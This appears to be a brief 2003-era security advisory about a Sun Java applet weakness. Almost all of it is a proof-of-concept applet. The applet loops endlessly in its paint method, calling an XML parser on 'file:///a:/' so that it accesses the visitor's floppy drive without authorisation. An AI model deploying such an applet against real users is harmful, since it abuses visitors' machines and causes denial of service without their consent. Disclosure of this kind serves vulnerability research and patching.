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Sun Java Unauthorized Java Applet Floppy Access Weakness

The following proof-of-concept was provided:

import java.awt.Label;

public class MyFloppySucks extends java.applet.Applet {
private Label m_labVersionVendor;
public MyFloppySucks () //constructor
{
m_labVersionVendor = new Label ("Java Floppy Stress Testing Applet,
(2003) www.illegalaccess.org" +" / Java Version: " +
System.getProperty("java.version")+
" from "+System.getProperty("java.vendor"));
this.add(m_labVersionVendor);
}
public void paint(java.awt.Graphics g) {
while (1==1)
try {

org.apache.crimson.tree.XmlDocument.createXmlDocument("file:///a:/",false);
}
catch (Exception e) {
System.out.println("Java Floppy Stress Testing Applet,
(2003) www.illegalaccess.org");
}
}
}